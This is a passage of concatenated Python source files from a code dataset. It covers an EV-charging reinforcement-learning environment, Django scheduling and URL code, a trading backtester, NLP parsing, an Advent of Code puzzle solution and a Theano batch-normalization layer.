initial_state = {}\n start_time = min([loc[-1][0] for loc in self.charging_data if len(loc) > 0])\n initial_state[\"time\"] = start_time\n initial_state[\"price\"] = self.elec_price_data[start_time.to_pydatetime()]\n stations = []\n for loc in self.charging_data:\n station = {}\n if len(loc) >0 and (loc[-1][0] == start_time):\n ##process session\n session = loc.pop()\n self.durations.append(session[2])\n station[\"is_car\"] = True\n station[\"des_char\"] = session[1]\n station[\"per_char\"] = 0\n station[\"curr_dur\"] = 0\n else:\n station[\"is_car\"], station[\"des_char\"], station[\"per_char\"], station[\"curr_dur\"] = False,0,0,0\n self.durations.append(0)\n stations.append(station)\n initial_state[\"stations\"] = stations\n self.state = initial_state\n return initial_state\n\n def reward(self, energy_charged, percent_charged):\n \"\"\"\n Calculates the reward based on the energy charged at each station during the time step and the percent charged\n :param energy_charged: (list) energy charged at each station during the time step\n :param percent_charged: (list) percent charged for each car at each station\n :return: the reward for the current time step\n \"\"\"\n # charging_powers = print(self.info['charge_rates'])\n magnitude = self.config.reward_magnitude\n if self.config.charge_empty_factor > 0:\n charge_influence = 1.0 + self.config.charge_empty_factor * (0.5 - np.array(percent_charged))\n else:\n charge_influence = 1\n\n if self.config.use_delayed_charge_reward == \"leave\":\n charge_reward = 0\n for i in range(self.num_stations):\n self.delayed_charge_reward[i] += energy_charged[i]\n if self.done or not self.get_current_state()['stations'][i]['is_car']:\n charge_reward += self.delayed_charge_reward[i]\n self.delayed_charge_reward[i] = 0\n elif self.config.use_delayed_charge_reward == \"full\":\n charge_reward = 0\n for i in range(self.num_stations):\n self.delayed_charge_reward[i] += energy_charged[i]\n if percent_charged[i] >= 1.0 and energy_charged[i] > 0:\n charge_reward += self.delayed_charge_reward[i]\n self.delayed_charge_reward[i] = 0\n if not self.get_current_state()['stations'][i]['is_car']:\n self.delayed_charge_reward[i] = 0\n elif self.config.use_delayed_charge_reward == \"full_bonus\":\n charge_reward = np.sum(energy_charged * charge_influence)\n for i in range(self.num_stations):\n if percent_charged[i] >= 1.0 and energy_charged[i] > 0:\n charge_reward += 5 * self.time_step * self.max_power * charge_influence\n else:\n charge_reward = np.sum(energy_charged * charge_influence)\n\n\n elec_price = self.elec_price_data[self.get_current_state()['time'].to_pydatetime()]\n self.info['price'] = elec_price\n elec_cost = np.sum(energy_charged) * elec_price\n #store statistics\n self.info['elec_cost'] = elec_cost\n\n pow_penalty = 0.0\n if not self.config.scale_actions_transformer:\n capa = self.transformer_capacity\n if self.config.solar_behind_meter > 0:\n # with elec_price as inverse of solar output, increase transformer capa relative to solar generation\n capa = capa * (1 + self.config.solar_behind_meter * (1 - elec_price))\n pow_violation = (np.sum(energy_charged) / self.time_step) - capa\n if pow_violation > 0:\n pow_ratio = min(1, pow_violation / capa)\n pow_penalty = np.exp(np.log(magnitude)*pow_ratio) - 1.0 # [0, 1000]\n\n divider = self.time_step*self.transformer_capacity\n charge_reward = charge_reward / divider # [0, 1]\n elec_cost = elec_cost / divider # [0, 1] if price [0,1]\n\n reward = [magnitude*charge_reward, -1*magnitude*elec_cost, -1*pow_penalty]\n # print(reward)\n reward = sum([r*w for r, w in zip(reward, self.reward_weights)])\n return reward\n\n def get_current_state(self):\n \"\"\"\n Returns the current state\n :return: state (dict) the current state\n \"\"\"\n return self.state\n\n def sample_data(self):\n \"\"\"\n Samples a given time period (based on config.EVAL_EPS_LEN) of data to simulate over.\n Samples from evaluation data depending on self.evaluation_mode\n :return: returns the charging data and electric price data over the given time period\n \"\"\"\n elec_price_data = toy_data.price\n\n if self.evaluation_mode:\n charging_data = utils.sample_charging_data(\n self.eval_charging_data,\n self.config.EVAL_EPS_LEN,\n self.time_step,\n self.random_state\n )\n else:\n charging_data = utils.sample_charging_data(\n self.train_charging_data,\n self.episode_length,\n self.time_step,\n self.random_state\n )\n return charging_data, elec_price_data\n\n def reset(self):\n \"\"\"\n Resets the environment\n :return:\n \"\"\"\n self.done = False\n self.info = None\n self.durations = []\n self.charging_data, self.elec_price_data = self.sample_data()\n self.state = self.get_initial_state()\n self.delayed_charge_reward = [0] * self.num_stations\n featurized_state = self.featurize(self.state)\n return featurized_state\n\n def render(self, mode='human', close=False):\n \"\"\"Used for vizualizing charging, not implemented\"\"\"\n pass\n\n def close(self):\n \"\"\"Not implemented\"\"\"\n pass\n\n def seed(self, seed=None):\n \"\"\"Not implemente\"\"\"\n # return self.seed(seed)\n pass\n","sub_path":"gym_ev_charging/envs/ev_charging_env.py","file_name":"ev_charging_env.py","file_ext":"py","file_size_in_byte":17151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"425302292","text":"#\n\nimport FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"MAGNETICFIELDTEST\")\n\nprocess.source = cms.Source(\"EmptySource\")\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(1)\n)\n\nprocess.load(\"MagneticField.Engine.volumeBasedMagneticField_1103l_cfi\")\t\n# process.load(\"MagneticField.Engine.uniformMagneticField_cfi\")\n\nprocess.testMagneticField = cms.EDAnalyzer(\"testMagneticField\",\n\n## Uncomment to write down a reference file with data for validation\n\toutputTable = cms.untracked.string(\"newtable.txt\"),\n\n## Uncomment to perform validation using the specified reference file \n#\tinputTable = cms.untracked.string(\"oldtable.txt\"),\n\n## Valid input file types: \"xyz_cm\", \"rpz_m\", \"xyz_m\", \"TOSCA\" \n\tinputTableType = cms.untracked.string(\"xyz_cm\"),\n\n## Resolution used for validation, number of points\n\tresolution = cms.untracked.double(0.0001),\n\tnumberOfPoints = cms.untracked.int32(10000),\n\n## Restrict size of testing volume (cm):\n\tInnerRadius = cms.untracked.double(0), # default: 0 \n\tOuterRadius = cms.untracked.double(900), # default: 900 \n HalfLength = cms.untracked.double(1600) # default: 1600 \n\n)\n\nprocess.p1 = cms.Path(process.testMagneticField)\n\n\n","sub_path":"MagneticField/Engine/test/validateField_cfg.py","file_name":"validateField_cfg.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"28280046","text":"from biokit.rtools import tools\nfrom nose.plugins.attrib import attr\n\n\n\ndef test_codecs():\n\n assert 'T' == tools.bool2R(True)\n assert 'F' == tools.bool2R(False)\n try:\n tools.bool2R('ggg')\n assert False\n except:\n assert True\n\n@attr('Ronly')\ndef test_rcode():\n r = tools.rcode('a=1')\n assert r.a == 1 \n\n","sub_path":"test/rtools/test_tools.py","file_name":"test_tools.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"442899466","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 27 16:12:20 2017\r\n\r\n@author: Harsh Kevadia\r\n\"\"\"\r\n\r\nimport operator\r\nimport nltk\r\nfrom nltk.util import ngrams\r\nimport re\r\nfrom nltk.tokenize import sent_tokenize\r\nfrom nltk import load\r\n \r\n#function that loads a lexicon of positive words to a set and returns the set\r\ndef loadLexicon(fname):\r\n newLex=set()\r\n lex_conn=open(fname)\r\n #add every word in the file to the set\r\n for line in lex_conn:\r\n newLex.add(line.strip())# remember to strip to remove the lin-change character\r\n lex_conn.close()\r\n\r\n return newLex\r\n \r\ndef processSentence(sentence,posLex,negLex,tagger):\r\n \r\n #make a new tagger\r\n _POS_TAGGER = 'taggers/maxent_treebank_pos_tagger/english.pickle'\r\n loadTagger = load(_POS_TAGGER)\r\n \r\n results = []\r\n \r\n sentence=re.sub('[^a-zA-Z\\d]',' ',sentence)#replace chars that are not letters or numbers with a spac\r\n sentence=re.sub(' +',' ',sentence).strip()#remove duplicate spaces\r\n \r\n #tokenize the sentence\r\n terms = nltk.word_tokenize(sentence.lower())\r\n \r\n POSterms=getPOSterms(terms,tagger,loadTagger)\r\n nouns = POSterms['NN']\r\n\r\n fourgrams = ngrams(terms,4) #compute 2-grams\r\n \r\n #for each 2gram\r\n for tg in fourgrams: \r\n if tg[0] == \"not\":\r\n if tg[2] in posLex or tg[2] in negLex:\r\n if tg[3] in nouns:\r\n results.append(tg)\r\n \r\n return results;\r\n \r\n\r\n# return all the terms that belong to a specific POS type\r\ndef getPOSterms(terms,POStags,tagger):\r\n\t\r\n tagged_terms=tagger.tag(terms)#do POS tagging on the tokenized sentence\r\n\r\n POSterms={}\r\n for tag in POStags:POSterms[tag]=set()\r\n\r\n #for each tagged term\r\n for pair in tagged_terms:\r\n for tag in POStags: # for each POS tag \r\n if pair[1].startswith(tag): POSterms[tag].add(pair[0])\r\n\r\n return POSterms\r\n\r\ndef getTop3(D):\r\n sorted_D=sorted(D.items(),key=operator.itemgetter(1),reverse=True)\r\n i=0\r\n top3=list()\r\n for key,value in sorted_D:\r\n if(i<3):\r\n top3.append(key)\r\n i=i+1\r\n return top3\r\n \r\ndef run(fpath):\r\n\r\n #read the input\r\n f=open(fpath)\r\n text=f.read().strip()\r\n f.close()\r\n\r\n #split sentences\r\n sentences=sent_tokenize(text)\r\n print ('NUMBER OF SENTENCES: ',len(sentences))\r\n\r\n posLex=loadLexicon('positive-words.txt')\r\n negLex=loadLexicon('negative-words.txt')\r\n \r\n #adjAfterAdv=[]\r\n results = []\r\n\r\n # for each sentence\r\n for sentence in sentences: \r\n\r\n POStags=['NN','JJ'] # POS tags of interest \t\t\r\n \r\n results = processSentence(sentence,posLex,negLex,POStags)\r\n #nouns=POSterms['NN']\r\n\r\n #get the results for this sentence \r\n #adjAfterAdv+=getAdvAdjTwograms(terms, nouns, adverbs)\r\n\t\t\r\n return results\r\n\r\nif __name__=='__main__':\r\n print (run('input.txt'))\r\n stats = {'a':1000, 'b':3000, 'c': 100, 'd':3000}\r\n print(getTop3(stats))","sub_path":"Week 7/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"455724714","text":"# coding: utf-8\n# __author__ = 'charles'\nimport datetime\nfrom django.db import connections\n\nfrom app_core import models\nfrom app_core import config\nfrom app_core import db_sql\nfrom app_core.utils import tools\nfrom app_core.config import Schedule\n\n\ndef query_available_time(course=None, date_time=None, buy_out=False, school_id=1):\n \"\"\"\n 查询单个时间可用老师\n :param course: 课程\n :param date_time: 上课时间(日期格式,非字符串格式)\n \"\"\"\n lesson_duration = course.duration\n time_list = tools.get_class_times(lesson_time=lesson_duration, class_time=tools.datetime_to_time_str(date_time))\n date_time_slots = [tools.date_to_str(date_time.date()) + ' ' + x for x in time_list]\n sql = db_sql.query_available_time\n cursor = connections['default'].cursor()\n params = [course.id, date_time_slots, school_id, len(date_time_slots)]\n cursor.execute(sql, params)\n rows = tools.dict_fetchall(cursor)\n [r.pop('counts') for r in rows]\n return rows\n\n\ndef query_available_teachers(course=None, teacher=None,\n start_date=None, end_date=None,\n counts=0, schedule=Schedule.AVAILABLE,\n weeks=None, internal=0, time=None, school_id=1,\n teacher_type=None):\n \"\"\"\n 批量查询可用老师\n :param course:\n :param teacher:\n :param start_date:\n :param end_date:\n :param counts:\n :param schedule:\n :param weeks:\n :param internal:\n :param time:\n :param school_id:\n :param teacher_type:\n \"\"\"\n # 上课日期\n dates = tools.gen_dates(start=start_date, end=end_date,\n weeks=weeks, counts=counts, interval=internal, matter=\"%Y-%m-%d\")\n lesson_duration = course.duration\n # 上课时间点\n time_list = tools.get_class_times(lesson_time=lesson_duration, class_time=time)\n teachers = get_teacher_by_course(course_id=course.id, teacher_type=teacher_type)\n teacher_ids = [x.get('teacher_id') for x in teachers]\n if teacher:\n teacher_ids = [teacher.id]\n if not teacher_ids:\n return []\n # 所有应有的老师的所有可用时间\n ta_set = models.TeacherAvailable.objects.filter(teacher_id__in=teacher_ids,\n schedule=schedule,\n school_id=school_id,\n date_slot__in=dates,\n time_slot__in=time_list,).values('teacher_id',\n 'date_slot')\n # 组合每个老师满足的上课日期\n # [{'teacher_id': 12, dates: []}]\n rows = solve_teacher_available(query_set=ta_set, times=len(time_list), dates=dates, teacher_ids=teacher_ids)\n # 满足对多的放前边,如果有全满足的话,我们就不再处理组合老师\n full_available_teachers = []\n # 需要组合的老师\n need_mix_teachers = []\n for row in rows:\n rate = get_teacher_utilization(teacher_id=row.get('teacher_id'))\n row.update(rate=str(rate))\n if len(row.get('dates')) == len(dates):\n full_available_teachers.append(row)\n else:\n need_mix_teachers.append(row)\n\n if len(full_available_teachers) > 0:\n # 老师利用率从低到高\n full_available_teachers = sorted(full_available_teachers, key=lambda y: float(y.get('rate')))\n return full_available_teachers\n # 不满足处理组合老师\n mix_teachers = mix_available_teachers(teacher=need_mix_teachers[0], dates=dates,\n mix_teachers=need_mix_teachers[1:])\n # 以第一个老师利用率从低到高,第二个老师从高到底\n mix_teachers = sorted(mix_teachers, key=lambda f: f[0].get(rate))\n mix_teachers = sorted(mix_teachers, key=lambda f: f[1].get(rate), reverse=True)\n if len(mix_teachers) == 0:\n # 说明需要组合大于2个老师了\n # TODO\n pass\n return mix_teachers\n\n\ndef solve_teacher_available(query_set=None, times=1, dates=None, teacher_ids=None):\n \"\"\"\n 处理老师时间,\n :param query_set: 时间集合\n :param times: 一节课几个时间点\n :param dates: 所有应该满足的日期\n :param teacher_ids: 所有的课程包下老师ids\n \"\"\"\n # [{'teacher_id': 12, 'dates': [重复的所有日期(如果大于30分钟课)str类型]}]\n query_set = list(query_set)\n first_rs = []\n for teacher_id in teacher_ids:\n temp_dict = dict()\n temp_dict['teacher_id'] = teacher_id\n temp = []\n for i, row in enumerate(query_set):\n if row.get('teacher_id') == teacher_id:\n temp.append(tools.date_to_str(row.get('date_slot')))\n # query_set.pop(i)\n temp_dict['dates'] = temp\n first_rs.append(temp_dict)\n # [{'teacher_id': 12, 'dates': [老师可以上课的日期,不再重复了str类型]}]\n rs = []\n for row in first_rs:\n teacher_id = row.get('teacher_id')\n teacher_dates = row.get('dates')\n available_date = []\n for i, str_date in enumerate(dates):\n count = teacher_dates.count(str_date)\n if count == times:\n # 说明这一天该老师可以上课\n available_date.append(str_date)\n if len(available_date) > 0:\n rs.append(dict(teacher_id=teacher_id,\n dates=available_date))\n # 将满足最多的老师排在上边\n rs = sorted(rs, key=lambda x: len(x.get('dates')), reverse=True)\n return rs\n\n\ndef mix_available_teachers(teacher=None, dates=None, mix_teachers=None, single=False, before_count=0):\n \"\"\"\n 混合老师\n :param teacher: 外围的老师(即以该老师和其他老师组合)\n :param dates: 所有日期\n :param mix_teachers: 要组合的老师\n :param single: 是否有选中老师(有选中老师的话,只需要执行一次循环组合,不会再执行其他组合)\n :param before_count: 此方法需要递归,所以将已经组合好的组合数量传递过来,超过20个就不再组合了\n \"\"\"\n rs = []\n for row in mix_teachers:\n if len(rs) + before_count > 20:\n break\n # 组合和dates长度一致,\n if len(list(set(row.get('dates') + teacher.get('dates')))) == len(dates):\n temp = [teacher]\n # 获取第二个老师需要使用哪些日期\n temp_date = list(set(row.get('dates')) - set(teacher.get('dates')))\n\n second_teacher = dict(teacher_id=row.get('teacher_id'),\n dates=temp_date)\n temp.append(second_teacher)\n\n rs.append(temp)\n # 如果组合不够,并且后边的组合老师还有大于两个,并且并没有指定老师就(递归)\n if len(rs) < 20 and len(mix_teachers) > 1 and not single:\n rs += mix_available_teachers(teacher=mix_teachers[0],\n dates=dates, mix_teachers=mix_teachers[1:], before_count=len(rs))\n\n return rs\n\n\ndef get_teacher_by_course(course_id=None, teacher_type=1):\n \"\"\"\n 获取课程包下的老师\n :param course_id:课程包\n :param teacher_type:老师类型\n \"\"\"\n if not course_id:\n return []\n sql = db_sql.get_teacher_by_course\n sql += ' and teacher.teacher_type = %s'\n cursor = connections['default'].cursor()\n cursor.execute(sql, [course_id, teacher_type])\n rows = tools.dict_fetchall(cursor)\n return rows\n\n\ndef get_teacher_utilization(days=7, teacher_id=None):\n \"\"\"\n 获取老师未来days天的利用率\n :param days:\n :param teacher_id:\n \"\"\"\n tomorrow = datetime.datetime.now().date() + datetime.timedelta(days=1)\n end_date = tomorrow + datetime.timedelta(days=days)\n all_count = models.TeacherAvailable.objects.filter(date_slot__gte=tomorrow,\n date_slot__lte=end_date,\n teacher_id=teacher_id).count()\n used_count = models.TeacherAvailable.objects.filter(date_slot__gte=tomorrow,\n date_slot__lte=end_date,\n teacher_id=teacher_id,\n schedule__in=[config.Schedule.USED,\n config.Schedule.MARKETING_SH_PRO,\n config.Schedule.MARKETING_TRIAL_CLASS,\n config.Schedule.MONOPOLY,\n config.Schedule.MONOPOLY_SCHEDULED,\n config.Schedule.NORMAL_MONOPOLY]).count()\n if all_count == 0:\n return 100\n rate = float('%.4f' % (float(used_count) / all_count)) * 100\n if len(str(rate)) > 5:\n return float(str(rate)[:5])\n return rate\n","sub_path":"api_master_v2/app_schedule/dao.py","file_name":"dao.py","file_ext":"py","file_size_in_byte":9190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"86921421","text":"\"\"\"project URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nfrom projectcrm import views\nfrom . import views\nfrom django.urls import reverse\n##import views from accounts\nfrom accounts import views as accountview\n\nurlpatterns = [\n\turl(r'^$', views.view_profile.as_view(), name = 'view_profile'),\n\turl(r'^tickets/details/$', views.ticket_detail.as_view(), name='ticket_detail'),\n\turl(r'^tickets/new-entry/$', views.new_entry, name='new_entry'),\n url(r'^new-ticket/$', views.create_ticket, name='create_ticket'),\n url(r'^tickets/$', views.tickets, name='tickets'),\n url(r'ajax_req/$', views.ajax_req, name='ajax_req'),\n url(r'^ajax/$', views.TicketFilter, name='ticket-filter'),\n url(r'^ticketform/$', views.ajax_form, name='ajax-form'),\n\n\n\n url(r'^client/$', views.ClientGet.as_view(), name='client'),\n url(r'^clientq/$', views.ClientPostQ.as_view(), name = 'client_detail'),\n url(r'^client_tech/$', views.ClientGetTech.as_view(), name = 'client_tech'),\n url(r'^client_tickets/$', views.ClientPostTickets.as_view(), name = 'client_tickets'),\n\n #url(r'^clienttest/$', views.clienttest.as_view(), name = \"clienttest\"),\t\n #url(r'^clientposttest/$', views.clientposttest.as_view(), name = \"clientposttest\"),\n \n\n\n\n]","sub_path":"crm_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"309502284","text":"import datetime\nimport pprint\nimport queue\nimport time\nimport matplotlib.pyplot as plt\nfrom multiprocessing import Process, Manager, Queue, JoinableQueue\n\nclass Backtest(object):\n \"\"\"\n Encapsulates the setting and components for carrying out\n an event-driven backtest\n \"\"\"\n def __init__(\n self, csv_dir, symbol_list, initial_cap, heartbeat, start_date,\n data_handler, execution_handler, portfolio, strategy\n ):\n \"\"\"\n Initialises backtest\n :param csv_dir: Hard root of CSV\n :param symbol_list: The list of symbol strings\n :param initial_cap: The starting capital of portfolio\n :param heartbeat: Backtest \"Heartbeat\" in seconds(??)\n :param start_date: The start datetime of strategy\n :param data_handler: (Class) Handles market data feed\n :param execution_handler: (Class) Handles the Order/Fill for trade\n :param portfolio: (Class) Keeps track of portfolio current and prior positions + Risk Management can be added\n :param strategy: (Class) Generates signal based on market data\n \"\"\"\n\n self.csv_dir = csv_dir\n self.symbol_list = symbol_list\n self.initial_cap = initial_cap\n self.heartbeat = heartbeat\n self.start_date = start_date\n\n self.data_handler_cls = data_handler\n self.execution_handler_cls = execution_handler\n self.portfolio_cls = portfolio\n self.strategy_cls = strategy\n\n self.events = Queue()\n\n self.signals = 0\n self.orders = 0\n self.fills = 0\n self.num_strats = 1\n\n\n self._generate_trading_instances()\n\n def _generate_trading_instances(self):\n \"\"\"\n Generates the trading instance object from their class types.\n :return:\n \"\"\"\n print(\"Creating DataHandler, Strategy, Portfolio and ExecutionHandler\")\n self.data_handler = self.data_handler_cls(self.events, self.csv_dir, self.symbol_list)\n self.strategy = self.strategy_cls(self.data_handler, self.events)\n self.portfolio = self.portfolio_cls(self.data_handler, self.events, self.start_date,\n self.initial_cap)\n self.execution_handler = self.execution_handler_cls(self.events)\n\n\n def _run_backtest(self):\n \"\"\"\n Executes backtest\n :return:\n \"\"\"\n i = 0\n while True:\n i += 1 # 여기에 Tqdm 넣어주면 좋을듯?\n if i % 10000 == 1:\n print(i)\n #Update the market bars\n if self.data_handler.continue_backtest == True:\n self.data_handler.update_bars(i)\n else:\n break\n #Handles the events\n while True:\n try:\n event = self.events.get(False)\n except queue.Empty:\n break\n else:\n if event is not None:\n if event.type == 'MARKET':\n print(event)\n p1 = Process(target=self.strategy.calc_signals, args=(event,))\n p2 = Process(target=self.portfolio.update_timeindex, args=(event,))\n p1.start()\n p2.start()\n\n # self.strategy.calc_signals(event)\n # self.portfolio.update_timeindex(event)\n\n elif event.type == 'SIGNAL':\n print(event)\n self.signals += 1\n self.portfolio.update_signal(event)\n elif event.type == 'ORDER':\n print(event)\n self.orders += 1\n self.execution_handler.execute_order(event)\n elif event.type == 'FILL':\n print(event)\n self.fills += 1\n self.portfolio.update_fill(event)\n\n p1.join()\n p2.join()\n\n time.sleep(self.heartbeat) #Live Trading시 실제로 시간을 맞춰주려는 code인가? Backtest에서는 0.0으로 설정해버림.\n\n def _run_backtest_wo_mul(self):\n \"\"\"\n Executes backtest\n :return:\n \"\"\"\n i = 0\n while True:\n i += 1 # 여기에 Tqdm 넣어주면 좋을듯?\n if i % 10000 == 1:\n print(i)\n #Update the market bars\n if self.data_handler.continue_backtest == True:\n self.data_handler.update_bars(i)\n else:\n break\n #Handles the events\n while True:\n try:\n event = self.events.get(False)\n except queue.Empty:\n break\n else:\n if event is not None:\n if event.type == 'MARKET':\n print(event)\n self.strategy.calc_signals(event)\n self.portfolio.update_timeindex(event)\n\n elif event.type == 'SIGNAL':\n print(event)\n self.signals += 1\n self.portfolio.update_signal(event)\n elif event.type == 'ORDER':\n print(event)\n self.orders += 1\n self.execution_handler.execute_order(event)\n elif event.type == 'FILL':\n print(event)\n self.fills += 1\n self.portfolio.update_fill(event)\n\n time.sleep(self.heartbeat) #Live Trading시 실제로 시간을 맞춰주려는 code인가? Backtest에서는 0.0으로 설정해버림.\n\n def _output_performance(self):\n \"\"\"\n Outputs the strategy performance from the backtest.\n :return:\n \"\"\"\n self.portfolio.create_equity_curve_dataframe()\n\n print(\"Creating Summary Stats....\")\n stats = self.portfolio.output_summary_stats()\n\n print(\"Creating Equity Curve...\")\n pprint.pprint(stats)\n\n print(\"Signals: %s\" % self.signals)\n print(\"Orders: %s\" % self.orders)\n print(\"Fills: %s\" % self.fills)\n print(self.portfolio.equity_curve.tail(10)) # 추후 보완 ㄱㄱ\n\n #plot equity curve\n self.portfolio.equity_curve['equity_curve'].plot()\n plt.show()\n\n def simulate_trading(self):\n \"\"\"\n Simulates the backtest and outputs portfolio performance.\n :return:\n \"\"\"\n self._run_backtest()\n self._output_performance()\n\n def simulate_trading2(self):\n \"\"\"\n Simulates the backtest and outputs portfolio performance.\n :return:\n \"\"\"\n self._run_backtest_wo_mul()\n self._output_performance()","sub_path":"ebest_backtest.py","file_name":"ebest_backtest.py","file_ext":"py","file_size_in_byte":7014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"590161333","text":"import numpy as np\nimport skimage.transform as sktransform\nimport random\nimport sklearn\nimport cv2\nimport os\nfrom random import shuffle\n\ndef generator_fernando(samples, batch_size=128):\n samples = shuffle(samples)\n num_samples = len(samples)\n while 1: # Loop forever so the generator never terminates\n for offset in range(0, num_samples, batch_size):\n batch_samples = samples[offset:offset+batch_size]\n\n images = []\n angles = []\n for batch_sample in batch_samples:\n center_image = cv2.imread(batch_sample[0].strip())\n center_angle = float(batch_sample[1])\n\n # randomize brightness\n center_image = cv2.cvtColor(center_image, cv2.COLOR_BGR2RGB)\n center_image = cv2.cvtColor(center_image, cv2.COLOR_RGB2HSV)\n random_brightness = .1 + np.random.uniform()\n center_image[:,:,2] = center_image[:,:,2] * random_brightness\n center_image = cv2.cvtColor(center_image, cv2.COLOR_HSV2RGB)\n\n # resize\n #center_image = cv2.resize(center_image, (img_height, img_width), interpolation=cv2.INTER_AREA)\n\n images.append(center_image)\n angles.append(center_angle)\n\n X_train = np.array(images)\n y_train = np.array(angles)\n yield (X_train, y_train)","sub_path":"generator_fernando.py","file_name":"generator_fernando.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"451420754","text":"def safe_int(n):\n try:\n return int(n)\n except:\n return False\n\n\nletters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\n[crates, steps] = open(\"./day5.txt\", \"r\").read().split(\"\\n\\n\")\n\nstacks = {}\nstack = []\ncrates_matrix = crates.splitlines()\nlast_row_index = len(crates_matrix) - 1\n\nfor col in range(0, len(crates_matrix[0]) - 1):\n if safe_int(crates_matrix[last_row_index][col]):\n # we're in a colum\n stack_id = int(crates_matrix[last_row_index][col])\n stack = []\n for row in range(0, last_row_index + 1):\n potential_crate = crates_matrix[row][col]\n if potential_crate in letters:\n stack.insert(0, potential_crate)\n stacks[stack_id] = stack\n\n\ndef parse_instruction(instruction: str):\n instructions = []\n for step in instruction.split(\" \"):\n if safe_int(step):\n instructions.append(int(step))\n return instructions\n\n\nprint(crates, stacks)\n# part 1 crate stacking logic\n# for step in steps.splitlines():\n# [move_count, from_location, to_location] = parse_instruction(step)\n# for i in range(0, move_count):\n# stacks[to_location].append(stacks[from_location].pop())\n\n# part 2 crate stacking logic\nfor step in steps.splitlines():\n [move_count, from_location, to_location] = parse_instruction(step)\n to_move = []\n for i in range(0, move_count):\n to_move.append(stacks[from_location].pop())\n to_move.reverse()\n stacks[to_location].extend(to_move)\n\nprint(\"\\n\\n\", stacks)\n\nprint(\"Top crates:\")\ntop_crates = \"\"\nfor stack_index in range(1, 10):\n stack = stacks[stack_index]\n top_crates += stack[-1]\n\nprint(top_crates)\n","sub_path":"2022/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"598581978","text":"'''\nPerforms batch normalization.\n'''\n\nfrom Layer import Layer\n\nimport theano\nimport theano.tensor as T\nimport numpy as np\nimport math\n\nclass LayerBatchnorm(Layer):\n def __init__(self,\n input_layer,\n alpha=0.01,\n enable_shift=True,\n enable_scale=True,\n average_statistics_over_predictions=False,\n initial_parameters=None):\n super(LayerBatchnorm, self).__init__(input_layer, 'batchnorm')\n \n # At least either shift or scale must be enabled\n assert enable_shift or enable_scale\n self._alpha = alpha\n self._enable_shift = enable_shift\n self._enable_scale = enable_scale\n self._average_statistics_over_predictions = average_statistics_over_predictions\n self._epsilon = 1e-8\n \n # TODO: allow prediction statistics to be in the initial parameters\n self._bn_updates = []\n self._bn_updates_prediction = [] # updates for batchnorm statistics according to prediction path, i.e., the path without sampling and variances\n self._bn_updates_swap = [] # swaps the running batchnorm statistics for the training path and the prediction path\n x_in_prediction = self._input_layer.getPredictionOutput()\n\n if self._input_layer.isOutputDistribution():\n self._x_in_mean, self._x_in_var = self._input_layer.getTrainOutput()\n if self._input_layer.isOutputFeatureMap():\n self._batch_mean = T.mean(self._x_in_mean, axis=[0,2,3])\n self._batch_inv_std = T.inv(T.sqrt(T.sum(self._x_in_var + T.sqr(self._x_in_mean - self._batch_mean[:,None,None]), axis=[0,2,3]) / (T.cast(self._x_in_mean.shape[0] * self._x_in_mean.shape[2] * self._x_in_mean.shape[3], theano.config.floatX) - 1.) + self._epsilon))\n else:\n self._batch_mean = T.mean(self._x_in_mean, axis=0)\n self._batch_inv_std = T.inv(T.sqrt(T.sum(self._x_in_var + T.sqr(self._x_in_mean - self._batch_mean), axis=0) / (T.cast(self._x_in_mean.shape[0], theano.config.floatX) - 1.) + self._epsilon))\n else:\n if self._input_layer.isOutputFeatureMap():\n self._x_in = self._input_layer.getTrainOutput()\n self._batch_mean = T.mean(self._x_in, axis=[0,2,3])\n self._batch_inv_std = T.inv(T.sqrt(T.var(self._x_in, axis=[0,2,3]) + self._epsilon))\n else:\n self._x_in = self._input_layer.getTrainOutput()\n self._batch_mean = T.mean(self._x_in, axis=0)\n self._batch_inv_std = T.inv(T.sqrt(T.var(self._x_in, axis=0) + self._epsilon))\n\n if self._input_layer.isOutputFeatureMap():\n self._batch_mean_prediction = T.mean(x_in_prediction, axis=[0,2,3])\n self._batch_inv_std_prediction = T.inv(T.sqrt(T.sum(T.sqr(x_in_prediction - self._batch_mean_prediction[:,None,None]), axis=[0,2,3]) / (T.cast(x_in_prediction.shape[0] * x_in_prediction.shape[2] * x_in_prediction.shape[3], theano.config.floatX) - 1.) + self._epsilon))\n else:\n self._batch_mean_prediction = T.mean(x_in_prediction, axis=0)\n self._batch_inv_std_prediction = T.inv(T.sqrt(T.sum(T.sqr(x_in_prediction - self._batch_mean_prediction), axis=0) / (T.cast(x_in_prediction.shape[0], theano.config.floatX) - 1.) + self._epsilon))\n \n if self._enable_shift:\n avg_batch_mean_prediction_values = np.zeros((self._input_layer.getOutputShape()[0],), 